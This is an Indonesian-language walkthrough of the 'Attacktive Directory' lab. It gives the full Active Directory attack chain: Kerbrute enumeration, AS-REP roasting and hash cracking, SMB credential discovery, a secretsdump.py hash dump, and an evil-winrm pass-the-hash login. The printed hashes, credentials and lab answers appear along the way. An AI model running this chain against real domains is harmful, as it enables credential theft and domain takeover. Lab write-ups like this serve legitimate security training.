Attacktive Directory adalah lab penetration testing yang berfokus pada eksploitasi Active Directory misconfiguration. Tujuan utama dari lab ini adalah mendapatkan akses ke domain dan melakukan privilege escalation hingga memperoleh akses Domain Administrator.

Initial Enumeration

Langkah pertama adalah melakukan scanning untuk mengetahui service apa saja yang berjalan pada target. Disini kita dapat menggunakan tools seperti nmap atau enum4llinux.

nmap -sC -sV -Pn 10.48.163.222
enum4linux 10.48.163.222
None

Dari hasil scan Nmap, kita dapatkan port yang terbuka:

  • 53 DNS
  • 80 HTTP (IIS 10)
  • 88 Kerberos
  • 135 RPC
  • 139 NetBIOS
  • 389 LDAP
  • 445 SMB
  • 464 Kerberos password change
  • 593 RPC over HTTP
  • 636 LDAPS
  • 3389 RDP
  • 5985 WinRM

Dapat diidentifikasi bahwa mesin target merupakan sebuah Domain Controller yang menjalankan Active Directory dengan nama domain spookysec.local. Informasi ini diperoleh dari output service detection pada port 389 (LDAP).

What tool will allow us to enumerate port 139/445?

enum4linux

What is the NetBIOS-Domain Name of the machine?

THM-AD

What invalid TLD do people commonly use for their Active Directory Domain?

.local

User Enumeration

Kita lakukan enumerasi user menggunalan tool Kerbrute.

kerbrute userenum --dc 10.48.163.222 -d spookysec.local userlist.txt
None

Kerbrute berhasil membuktikan bahwa username berikut benar-benar ada di domain:

  • james
  • svc-admin
  • robin
  • darkstar
  • administrator
  • backup
  • paradox

Dan juga memberi pesan "svc-admin has no pre auth required", yang berarti akun svc-admin memilki konfigurasi kerberos pre-authentication disabled.

Didapatkan juga hash kerberos:

$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:ba57b4765449529b8b63a8a73fb0ee75$f2466b8524ebcac8836d43ff22ebe64bdccb598c31fc87200ab5817113f40887e2a2e7934a0d214304cbcc5d0dfa2339d543ac67d8bae47bca78583c39ee41ed2552f775d4dc8665d1e98e6da7ea84a92faad0955bfa4d0c55493f77ac06d3340d68941dc283e122d3822271bcaca72200ea3e2cf925da30d13d1c6c430b94a69f0200c57f8141d5308a0c2e88ca791e570dd502a5f681ec30c37c27747cef41155ce1261ab1022157c36792e1bc704f442116dcd699808c522f7337ca802c16d5cae0cf790f6032f24b88de2112c0589b2ee3b4c1f286c2aa61457a2f0aa95d69fcd5cc223db00541cd5edc0fcc8e19811c

Hash tersebut kita simpan di file hash.txt untuk bisa di-crack secara offline menggunakan tool seperti hashcat atau john.

hashcat -m 18200 hash.txt passwordlist.txt --show
None

Disini kita dapatkan "management2005" sebagai password dari user svc-admin.

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

svc-admin

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Kerberos 5 AS-REP etype 23

What mode is the hash?

18200

Now crack the hash with the modified password list provided, what is the user accounts password?

management2005

Enumeration: SMB

Setelah kita dapat password untuk user svc-admin, kita lakukan koneksi ke smb server dengan smbclient.

smbclient -L 10.248.166.50 -U svc-admin
None

Daris ini kita dapatkan ada 6 share yang bisa diakses, kita coba akses satu persatu.

smbclient '//10.48.166.50/ADMIN$' -U svc-admin
smbclient //10.48.166.50/backup -U svc-admin
smbclient '//10.48.166.50/C$' -U svc-admin
smbclient '//10.48.166.50/IPC$' -U svc-admin
smbclient //10.48.166.50/NETLOGON -U svc-admin
smbclient //10.48.166.50/SYSVOL -U svc-admin
None

Pada share backup kita menemukan sebuah file txt, yaitu backup_credentials.txt yang isinya bisa didecode dengan base64, dari sini kita dapat kredensial user backup.

None

What utility can we use to map remote SMB shares?

smbclient

Which option will list shares?

-l

How many remote shares is the server listing?

6

There is one particular share that we have access to that contains a text file. Which share is it?

backup

What is the content of the file?

YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Decoding the contents of the file, what is the full contents?

backup@spookysec.local:backup2517860

Domain Privilege Escalation

Setelah mendapatkan kredensial akun backup, kita kemungkinan punya akses lebih tinggi di sistem. Akun ini digunakan untuk proses sinkronisasi backup Domain Controller, sehingga memiliki izin membaca perubahan di Active Directory, termasuk hash password pengguna.

Dengan izin itu, kita bisa memakai tool dari Impacket yaitu secretsdump.py untuk mengambil hash password dari semua user.

secretsdump.py backup:backup2517860@10.48.166.50 > output.txt
None

Output dari hasil akan menampilkan format seperti

username : RID : LM hash : NTLM hash

What method allowed us to dump NTDS.DIT?

DRSUAPI

What is the Administrators NTLM hash?

0e0363213e37b94221497260b0bcb4fc

What method of attack could allow us to authenticate as the user without the password?

Pass The Hash

Using a tool called Evil-WinRM what option will allow us to use a hash?

-H

Flag Submission Panel

Kita masuk sebagai administrator terlebih dahulu menggunakan hash yang kita dapat tadi.

evil-winrm -i 10.48.166.50 -u administrator -H 0e0363213e37b94221497260b0bcb4fc
  1. svc-admin
cd C:\Users\svc-admin\Desktop
dir
type user.txt.txt
None

2. backup

cd C:\Users\backup\Desktop
dir
type PrivEsc.txt
None

3. Administrator

cd C:\Users\Administrator\Desktop
dir
type root.txt
None

Kesimpulan

Room ini menunjukkan bagaimana akses awal ke satu akun bisa berkembang menjadi kontrol penuh terhadap domain. Melalui enumerasi dan eksploitasi AS-REP roasting pada Kerberos, kita mendapatkan kredensial baru. Akun backup kemudian digunakan untuk mengekstrak hash seluruh pengguna domain dengan secretsdump.py dari paket Impacket. Setelah memperoleh hash Administrator, kita melakukan pass-the-hash untuk masuk ke server menggunakan Evil-WinRM dan akhirnya mendapatkan akses administrator pada domain.